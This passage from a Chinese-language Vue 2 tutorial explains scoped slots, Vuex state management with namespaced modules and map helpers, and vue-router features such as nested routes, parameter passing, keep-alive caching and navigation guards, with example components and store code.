<a href="https://www.baidu.com">推荐</a>
</div>
<h4>欢迎前来观影</h4>
</template>
</Category>
</div>
</template>
<script>
import Category from "./components/Category.vue";
export default {
name: "App",
components: {Category},
data() {
return {
foods: ["火锅", "烧烤", "小龙虾", "牛排"],
games: ["英雄联盟", "穿越火线", "QQ飞车", "王者荣耀"],
films: ["《教父》", "《星际穿越》", "《小妇人》", "《指环王》"]
}
},
}
</script>
备注: 比较新的写法是将结构写在一个template标签中,然后指定v-slot:footer属性
(3)作用域插槽
数据在组件的自身,但根据数据生成的结构需要组件的使用者来决定(如下例中games数据在Category组件中,但使用数据所遍历出来的结构由App组件决定)
当数据在子组件中时,可以将数据以属性的方式动态绑定到slot标签中
<template>
<div class="category">
<h3>{{title}}分类</h3>
<slot :games="games">我是一些默认值,当使用者没有传递具体结构时,我会出现</slot>
</div>
</template>
<script>
export default {
name: "Category",
props: ["title"],
data() {
return {
games: ["英雄联盟", "穿越火线", "QQ飞车", "王者荣耀"]
}
},
}
</script>
父组件中必须将要给子组件传入的结构写在template标签中,其需要配置scope属性,值可以任意指定,用来接收通过插槽所传入的数据对象,其中slot-scope为一种新的写法。
<template>
<div class="container">
<Category title="游戏">
<template scope="dexter">
<ul>
<li v-for="(item, index) in dexter.games" :key="index">{{item}}</li>
</ul>
</template>
</Category>
<Category title="游戏">
<template scope="{games}">
<ol>
<li v-for="(item, index) in games" :key="index">{{item}}</li>
</ol>
</template>
</Category>
<Category title="游戏">
<template slot-scope="{games}">
<h4 v-for="(item, index) in games" :key="index">{{item}}</h4>
</template>
</Category>
</div>
</template>
<script>
import Category from "./components/Category.vue";
export default {
name: "App",
components: {Category}
}
</script>
五、vuex
1、理解vuex
vuex是专门在vue中实现集中式状态(数据)管理的一个Vue插件,对vue应用中多个组件的共享状态进行集中式的管理(读/写),也是一种组件间通信方式,且适用于任意组件间通信。
当多个组件依赖于同一状态时可以使用vuex
当来自不同组件的行为需要变更同一变量时可以使用vuex
2、vuex环境搭建
安装vuex:npm install vuex
创建store文件:src/store/index.js
import Vue from "vue";
import Vuex from "vuex";
Vue.use(Vuex)
//准备actions用于响应组件中的动作
const actions = {};
//准备mutations用于操作数据
const mutations = {};
//准备state用于存储数据
const state = {};
//创建并暴露store
export default new Vuex.Store({
actions,
mutations,
state
})
在main.js中引入store并将其添加到vue实例:
import Vue from "vue";
import App from "./App.vue";
import store from "./store/index";
Vue.config.productionTip = false;
new Vue({
el: "#app",
render: h => h(App),
store,
beforeCreate() {
Vue.prototype.$bus = this;
}
})
之后vue实例和所有的VueComponent身上都被添加了$store属性
3、基本使用
组件中的使用。在组件中通过$store身上的dispatch方法将参数以及操作逻辑的声明传给actions。
<template>
<div>
<h1>当前求和为:{{$store.state.sum}}</h1>
<select v-model.number="num">
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
</select>
<button @click="increment">+</button>
<button @click="deccrement">-</button>
<button @click="incrementOdd">当前求和为奇数再加</button>
<button @click="incrementWait">等一等再加</button>
</div>
</template>
<script>
export default {
name: "Count",
data() {
return {
num: 1,//用户选择的数字
}
},
methods: {
increment() {
this.$store.commit("JIA", this.num)
},
deccrement() {
this.$store.commit("JIAN", this.num)
},
incrementOdd() {
this.$store.dispatch("jiaOdd", this.num)
},
incrementWait() {
this.$store.dispatch("jiaWait", this.num)
}
},
}
</script>
备注: 如果操作逻辑很简单,可以在组件中直接调用commit并将参数传入,跳过actios操作数据
store中的使用
//准备actions用于响应组件中的动作
const actions = {
jiaOdd(context, value) {
if(context.state.sum % 2){
context.commit("JIA", value)
}
},
jiaWait(context, value) {
setTimeout(() => {
context.commit("JIA", value)
}, 1000)
}
};
//准备mutations用于操作数据
const mutations = {
JIA(state, value) {
state.sum += value;
},
JIAN(state, value) {
state.sum -= value;
}
};
//准备state用于存储数据
const state = {
sum: 0
};
首先在actions中编写组件中通过dispatch声明的函数,每个函数接收两个参数,第一个参数是一个context,第二个参数为在组件中dispatch所传入的数据。其中context是一个上下文对象,包含以下属性:

通过调用context身上的commit方法,将操作声明以及从组件中传来的数据传给mutatios。
然后在mutations编写实际操作数据的函数,每个函数接收两个参数,第一个是state,第二个为组件传来的数据,在函数中直接修改状态数据即可。
4、getters的使用
当state中的数据需要经过加工后再使用时,可以使用getters加工
......
//准备getters用于将State中的数据进行加工
const getters = {
bigSum(state) {
return state.sum * 10;
}
};
//创建并暴露store
export default new Vuex.Store({
.....
getters
})
在组件中读取数据:
<h1>当前求和的10倍为:{{$store.getters.bigSum}}</h1>
5、代码优化方法
组件中如果想用到store中的数据,可以通过访问$store下的属性读取,如下面这种形式:
<h1>当前求和为:{{$store.state.sum}}</h1>
<h1>当前求和的10倍为:{{$store.getters.bigSum}}</h1>
<h1>我在{{$store.state.school}},学习{{$store.state.subject}}</h1>
或者将获取数据的代码写在计算属性中,使结构中的插值语法变得简单些。但是这两种写法都有些麻烦,写了许多重复代码,vue中提供了一些map方法来简化操作。
(1)mapState
该方法用于帮助我们映射state中的数据为计算属性
-
对象形式
如果为获取的数据起了新的名字,则需要使用对象的形式来获取
computed: { ...mapState({he: "sum", xuexiao: "school", xueke: "subject"}) }在结构中使用
<h1>当前求和为:{{he}}</h1> <h1>我在{{xuexiao}},学习{{xueke}}</h1> -
数组形式
如果继续使用
state中数据的变量名,则使用数组形式computed: { ...mapState(["sum", "school", "subject"]) }
(2)mapGetters
-
对象形式
computed: { ...mapGetters({dahe: "bigSum"}) } -
数组形式
computed: { ...mapGetters(["bigSum"]) }
mapGetters在结构中的使用与mapState相同。
(3)mapActions
借助mapActions生成对应的方法,方法中会调用dispatch联系actions
methods: {
...mapActions({incrementOdd: "jiaOdd", incrementWait: "jiaWait"})
},
(4)mapMutations
借助mapMutations生成对应的方法,方法中会调用commit联系mutations
methods: {
...mapMutations({increment: "JIA", deccrement: "JIAN"})
},
备注: 以上四种方法都有对象形式和数组形式两种写法,书写的原理都相同;使用了mapActions和mapMutations之后,不能像之前函数写在methods中那样传参,应当将需要传递的参数写在标签体内,如下所示:
<button @click="increment(num)">+</button>
<button @click="deccrement(num)">-</button>
<button @click="incrementOdd(num)">当前求和为奇数再加</button>
<button @click="incrementWait(num)">等一等再加</button>
6、vuex模块化编码
(1)编码规范
-
修改store.js
const countOptions = { namespaced: true, state: {......}, actions: {......}, mutations: {......}, getters: {......} }; const personOptions = { namespaced: true, state: {......}, actions: {......}, mutations: {......}, getters: {......} }; export default new Vuex.Store({ modules: { countAbout: countOptions, personAbout: personOptions } }) -
组件中读取state中的数据
//方式一:自己直接读取 this.$store.state.personAbout.personList //方式二:借助mapState读取 ...mapState("personAbout", ["personList"]), -
组件中读取getters中数据
//方式一:自己直接读取 this.$store.getters["personAbout/firstPersonName"]; //方式二:借助mapGetters读取 ...mapGetters("countAbout", {dahe: "bigSum"}) -
组件中调用dispatch
//方式一:自己直接dispatch this.$store.dispatch("personAbout/addPersonWang", personObj) //方式二:借助mapActions ...mapActions("countAbout", {incrementOdd: "jiaOdd", incrementWait: "jiaWait"}) -
组件中调用commit
//方式一:自己直接commit this.$store.commit("personAbout/ADD_PERSON", personObj) //方式二:借助mapMutations ...mapMutations("countAbout", {increment: "JIA", deccrement: "JIAN"}),
备注: 使用模块化编码之后,state和getters中的数据都会绑定到store身上,但是获取他们的方式是不同的,store中的结构如下所示:
(2)求和案例
-
拆分store文件
-
count.js文件
求和相关的配置
export default { namespaced: true, actions: { jiaOdd(context, value) { if(context.state.sum % 2){ context.commit("JIA", value) } }, jiaWait(context, value) { setTimeout(() => { context.commit("JIA", value) }, 1000) } }, mutations: { JIA(state, value) { state.sum += value; }, JIAN(state, value) { state.sum -= value; }, }, state: { sum: 0, school: "hebeu", subject: "frontend", }, getters: { bigSum(state) { return state.sum * 10; } } }; -
person.js文件
人员管理相关配置
import axios from "axios"; import { nanoid } from "nanoid"; export default { namespaced: true, actions: { addPersonWang(context, value) { if(value.name.indexOf("王") === 0) { context.commit("ADD_PERSON", value) } else { alert("添加的人必须姓王") } }, addPersonServer(context) { axios.get("https://api.uixsj.cn/hitokoto/get?type=social").then( response => { context.commit("ADD_PERSON", {id: nanoid(), name: response.data}) }, error => { alert(error.message) } ) } }, mutations: { ADD_PERSON(state, value) { state.personList.unshift(value) } }, state: { personList: [ {id: "001", name: "dexter"} ] }, getters: { firstPersonName(state) { return state.personList[0].name; } } }; -
index.js文件
该文件用于创建Vuex中最为核心的store
import Vue from "vue"; import Vuex from "vuex"; import countOptions from "./count"; import personOptions from "./person"; Vue.use(Vuex) //创建并暴露store export default new Vuex.Store({ modules: { countAbout: countOptions, personAbout: personOptions } })
-
-
count组件
<template> <div> <h1>当前求和为:{{sum}}</h1> <h1>当前求和的10倍为:{{dahe}}</h1> <h1>我在{{school}},学习{{subject}}</h1> <h1>Person组件的总人数是:{{personList.length}}</h1> <select v-model.number="num"> <option value="1">1</option> <option value="2">2</option> <option value="3">3</option> </select> <button @click="increment(num)">+</button> <button @click="deccrement(num)">-</button> <button @click="incrementOdd(num)">当前求和为奇数再加</button> <button @click="incrementWait(num)">等一等再加</button> </div> </template> <script> import { mapState, mapGetters, mapActions, mapMutations } from "vuex"; export default { name: "Count", data() { return { num: 1,//用户选择的数字 } }, computed: { ...mapState("countAbout", ["sum", "school", "subject"]), ...mapState("personAbout", ["personList"]), ...mapGetters("countAbout", {dahe: "bigSum"}) }, methods: { ...mapMutations("countAbout", {increment: "JIA", decrement: "JIAN"}), ...mapActions("countAbout", {incrementOdd: "jiaOdd", incrementWait: "jiaWait"}) }, } </script> -
person组件
<template> <div> <h1>Count组件求和为:{{sum}}</h1> <h1>人员列表</h1> <h2>第一个人的名字是:{{firstPersonName}}</h2> <input type="text" placeholder="请输入名字" v-model="name"> <button @click="add">添加</button> <button @click="addWang">添加一个姓王的人</button> <button @click="addPersonServer">添加一个人,名字随机</button> <ul> <li v-for="person in personList" :key="person.id">{{person.name}}</li> </ul> </div> </template> <script> import { nanoid } from 'nanoid'; export default { name: "Person", data() { return { name: "" } }, computed: { personList() { return this.$store.state.personAbout.personList; }, sum() { return this.$store.state.countAbout.sum; }, firstPersonName() { return this.$store.getters["personAbout/firstPersonName"]; } }, methods: { add() { const personObj = {id: nanoid(), name: this.name}; this.$store.commit("personAbout/ADD_PERSON", personObj) this.name = ""; }, addWang() { const personObj = {id: nanoid(), name: this.name}; this.$store.dispatch("personAbout/addPersonWang", personObj) this.name = ""; }, addPersonServer() { this.$store.dispatch("personAbout/addPersonServer") } }, } </script>
案例效果展示:
六、vue-router
一个路由就是一组映射关系(key-value),多个路由需要路由器进行管理,在前端路由中,key是路径,value是组件。
1、路由的基本使用
首先安装vue-router:npm install vue-router
创建route/index.js文件,用于管理整个项目中的路由
import VueRouter from "vue-router";
import Home from "../components/Home.vue";
import About from "../components/About.vue";
export default new VueRouter({
routes: [
{
path: "/about",
component: About
},
{
path: "/home",
component: Home
}
]
});
在main.js中引入所创建的路由器
import Vue from "vue";
import VueRouter from "vue-router";
import App from "./App.vue";
import router from "./route/index";
Vue.config.productionTip = false;
Vue.use(VueRouter)
new Vue({
el: "#app",
render: h => h(App),
router: router
})
组件中路由的跳转
<router-link to="/about">About</router-link>
<router-link to="/home">Home</router-link>
......
<router-view></router-view>
备注: router-link标签实际上是一个a标签,点击后会根据自身的to属性寻找相应的路由组件,router-view标签会自动根据所编写的路由规则将相应的组件展示到当前位置。
路由组件通常放在pages文件夹,一般组件通常放在components文件夹;
通过切换路由,隐藏的路由组件默认是被销毁的,需要的时候会再挂载;
每个组件都有自己的$route属性,里面存储着自己的路由信息;
整个应用只有一个router,可以通过组件的$router属性获取到(该属性会被挂载到所有的路由组件身上)。
2、嵌套路由
配置路由规则,使用children配置项
export default new VueRouter({
routes: [
{
path: "/about",
component: About
},
{
path: "/Home",
component: Home,
children: [
{
path: "news",
component: News
},
{
path: "Message",
component: Message
}
]
}
]
});
在组件中编写完整的路由地址
<router-link to="/home/news">News</router-link>
3、命名路由
可以通过命名路由的方式简化路由的跳转
首先为路由命名
{
name: "xinwen"
path: "news",
component: News
},
{
path: "message",
component: Message,
children: [
{
name: "xinxi",
path: "detail",
component: Detail
}
]
}
当路由的path过长时,可以通过为to配置name属性来简化路由的跳转,如:
<router-link class="list-group-item" :to="{name: 'xinwen'}">News</router-link>
...
<router-link
:to="{
name: 'xinxi',
query: {
id: m.id,
title: m.title
}
}">
{{m.title}}
</router-link>
4、路由传参
(1)query参数
-
字符串形式传递参数
<router-link :to="`/home/message/detail?id=${m.id}&title=${m.title}`"> {{m.title}} </router-link> -
对象形式传递参数
<router-link :to="{ path: '/home/message/detail', query: { id: m.id, title: m.title } }"> {{m.title}} </router-link>
接收参数
<li>消息id:{{$route.query.id}}</li>
<li>消息名:{{$route.query.title}}</li>
备注: 使用query形式传递的参数会以key=value的形式拼接在地址栏,如下所示
http://localhost:8080/#/home/message/detail?id=003&title=%E6%B6%88%E6%81%AF3
(2)params参数
首先在路由器中声明占位符接收params参数
{
path: "message",
component: Message,
children: [
{
name: "xinxi",
path: "detail/:id/:title",
component: Detail
}
]
}
传递参数
-
字符串形式
<router-link :to="`/home/message/detail/${m.id}/${m.title}`">{{m.title}}</router-link> -
对象形式
<router-link :to="{ name: 'xinxi', params: { id: m.id, title: m.title } }"> {{m.title}} </router-link>
注意: 在传递params参数时如果采用了对象形式,则to必须使用name属性,不能使用path
接收参数:
<li>消息id:{{$route.params.id}}</li>
<li>消息名:{{$route.params.title}}</li>
备注: 使用params形式传递参数,所传递的参数会以值的形式拼接在地址栏,如下所示:
http://localhost:8080/#/home/message/detail/003/%E6%B6%88%E6%81%AF3
(3)路由的props配置
为路由配置props可以让路由组件更加方便的收到参数
-
方式一
值为对象,该对象中的所有key-value都会以props的形式传递给对应的路由组件
{ path: "message", component: Message, children: [ { name: "xinxi", path: "detail/:id/:title", component: Detail, props: {a:1, b:2} } ] }在组件Detail中接收
<template> <li>{{a}}</li> <li>{{b}}</li> </template> <script> export default { name: "Detail", props: ["a", "b"] } </script> -
方式二
值为布尔值,如果布尔值为真,就会把该路由组件收到的所有params参数以props的形式传递给对应的组件
{ path: "message", component: Message, children: [ { name: "xinxi", path: "detail/:id/:title", component: Detail, props: true } ] }为路由组件传递params参数
<router-link :to="{ name: 'xinxi', params: { id: m.id, title: m.title } }"> {{m.title}} </router-link>在Detail组件中接收params参数
<template> <ul> <li>消息id:{{id}}</li> <li>消息名:{{title}}</li> </ul> </template> <script> export default { name: "Detail", props: ["id", "title"] } </script> -
方式三
值为函数,该函数接收
$route作为参数,可以在函数中解析出query参数,该函数的返回值作为props参数传递给对应的组件。{ path: "message", component: Message, children: [ { name: "xinxi", path: "detail", component: Detail, props($route) { return { id: $route.query.id, title: $route.query.title } } } ] }
5、编程路由导航
(1)router-link的两种模式
-
push模式
router-link默认是push模式,即浏览器会将每一次的路由跳转都压入栈中,可以点击前进和后退按钮进行操作
-
replace模式
当为一个router-link开启了replace模式后,当前的路由跳转就不会被压入栈中,而是被新的路由地址所替换,因此浏览器中的前进和后退也不可用。只需要在router-link标签内加入replace即可。
<router-link replace to="/home/message/detail">{{m.title}}</router-link>
(2)编程路由导航
使用编程路由导航可以不借助router-link实现路由的跳转
主要用到的api
this.$router.back() //前进
this.$router.forward() //后退
this.$router.go(-2) //可前进也可后退
6、缓存路由组件
通过缓存路由组件可以让不展示的路由组件保持挂载,不被销毁
在父组件中使用keep-alive标签包裹的组件将会被缓存,切路由的时候不会被销毁
<keep-alive include="News">
<router-view></router-view>
</keep-alive>
可以为keep-alilve配置include属性,其值为指定的组件名,即缓存指定的组件。如果想缓存多个指定的组件,则可以使用数组形式:include="['News', 'Mesesage']"。
7、路由组件的生命周期
activated用于当组件被激活时触发
deactivated用于当组件失活时被触发
activated() {
this.timer = setInterval(() => {
this.opacity -= 0.01;
if(this.opacity <= 0) {
this.opacity = 1;
}
}, 16);
},
deactivated() {
clearInterval(this.timer)
}
例如当组件加载时开启定时器,组件销毁时关闭定时器,同时又想缓存组件内容,如果使用mounted和beforeDestory由于组件并没有实际被销毁,因此即使切换了路由,定时器也不会关闭。使用路由组件独有的这两个生命周期就可以解决上述问题。
8、路由守卫
(1)全局路由守卫
-
前置路由守卫
通过定义前置路由守卫,路由器会在初始化的时候被调用,每次路由切换之前被调用。
router.beforeEach((to, from, next) => { if(to.path === "/home/news" || to.path === "/home/message") { if(localStorage.getItem("school") === "jzxy") { next() }else { alert("学校名错误") } } else { next() } })beforeEach中接收一个函数,该函数接收三个参数,其中to表示路由将要跳转的地址,from表示路由当前的地址,next是一个函数,调用这个函数路由就会跳转到to的位置。下图中左边是to的信息,右边是from的信息。当有多个路由的切换都需要判断时,上述写法就有些麻烦,可以为每一个路由配置
meta属性,来表示该路由,如下所示:{ name: "xinwen", path: "news", component: News, meta: {isAuth: true} }, { name: "xiaoxi", path: "message", component: Message, meta: {isAuth: true}, children: [ { name: "xinxi", path: "detail", component: Detail } ] }这样就可以简化路由守卫的判断:
router.beforeEach((to, from, next) => { if(to.meta.isAuth) { if(localStorage.getItem("school") === "jzxy") { next() }else { alert("学校名错误") } } else { next() } }) -
后置路由守卫
全局后置路由守卫会在初始化时候调用,也会在每次路由切换之后调用。
router.afterEach((to, from) => { document.title = to.meta.title || "vue系统"; })afterEach中的函数接收两个参数to和from,值和beforeEach中的参数值相同。场景如上所示,需要在路由切换之后更改网页标题,如果使用前置路由守卫,则需要如下写法:
router.beforeEach((to, from, next) => { if(to.meta.isAuth) { if(localStorage.getItem("school") === "jzxy") { document.title = to.meta.title || "vue系统"; next() }else { alert("学校名错误") } } else { document.title = to.meta.title || "vue系统"; next() } })使用后置路由守卫可以简化书写,而且更加清晰。
(2)独享路由守卫
可以在路由器中为每一个路由配置单独的路由守卫
{
name: "xinwen",
path: "news",
component: News,
meta: {isAuth: true, title: "新闻"},
beforeEnter: (to, from, next) => {
if(to.meta.isAuth) {
if(localStorage.getItem("school") === "hebeu") {
next()
}else {
alert("学校名错误")
}
} else {
next()
}
}
},
beforeEnter接收到的参数与全局守卫相同,可以将独享路由守卫与全局后置守卫结合来实现(1)中的效果。
(2)组件内路由守卫
也可以为组件单独配置路由守卫
//通过路由规则进入该组件时被调用
beforeRouteEnter (to, from, next) {
if(to.meta.isAuth) {
if(localStorage.getItem("school") === "hebeu") {
next()
}else {
alert("学校名错误")
}
} else {
next()
}
},
//通过路由规则离开该组件时被调用
beforeRouteLeave (to, from, next) {
next()
}
9、路由器的两种工作模式
对于一个url来说#后面的内容就是hash值,hash值不会包含在http请求中,即hash值不会带给服务器
通过为路由器配置mode:hash或者mode:history来切换路由模式
-
hash模式
http://localhost:5005/#/home/message地址中会带着
#,不美观如果以后将地址通过第三方手机app分享,若app校验严格,则地址会被标记为不合法
兼容性较好
-
history模式
http://localhost:8080/home/message地址中没有
#,干净美观兼容性和hash模式相比略差
应用上线部署需要后端人员支持,解决刷新页面服务端404的问题